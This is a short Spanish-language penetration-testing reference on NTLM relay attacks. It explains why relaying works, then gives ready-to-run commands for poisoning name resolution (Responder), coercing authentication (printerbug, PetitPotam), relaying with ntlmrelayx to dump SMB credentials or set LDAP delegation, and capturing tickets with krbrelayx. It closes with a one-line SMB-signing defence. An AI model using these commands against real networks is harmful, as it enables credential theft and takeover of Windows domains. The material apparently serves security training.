Qué es
NTLM Relay intercepta una autenticación NTLM legítima y la reenvía a otro servidor en tiempo real. El atacante obtiene una sesión con la identidad de la víctima sin conocer su contraseña ni descifrar ningún hash.
Cómo funciona
NTLM no tiene autenticación mutua. El cliente prueba quién es, pero no verifica a qué servidor se lo prueba. El atacante se coloca en medio, captura el intercambio de desafío y respuesta, y lo reenvía a un objetivo distinto. Ese objetivo ve una autenticación válida y abre la sesión con la identidad de la víctima. El intercambio no se descifra ni se altera: se reenvía intacto. Si el objetivo exige firma SMB, firma LDAP con channel binding, o EPA, el reenvío falla porque la autenticación queda atada a su servidor original.
Comandos
Primero hay que conseguir la autenticación. Dos vías: envenenar la resolución de nombres, o coaccionar a un objetivo para que se autentique contra ti.
Envenenar la resolución de nombres de difusión para capturar autenticación:
responder -I <INTERFACE>Coaccionar autenticación por MS-RPRN (printer bug):
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<HOST> <IP>Coaccionar autenticación por MS-EFSRPC (PetitPotam):
PetitPotam.py -d <DOMAIN> -u <USER> -p <PASSWORD> <IP> <HOST>Después hay que reenviar el intercambio capturado al objetivo real.
Reenviar a SMB y volcar las credenciales locales del destino:
ntlmrelayx.py -t smb://<IP> -smb2supportReenviar a LDAP para configurar delegación sobre una cuenta controlada:
ntlmrelayx.py -t ldaps://<HOST> --delegate-accessCapturar el ticket de una cuenta con Unconstrained Delegation (krbrelayx):
krbrelayx.py -aesKey <HASH>Cómo defenderse
Exige firma SMB en todos los sistemas: ata cada autenticación a su servidor real y el reenvío a SMB falla.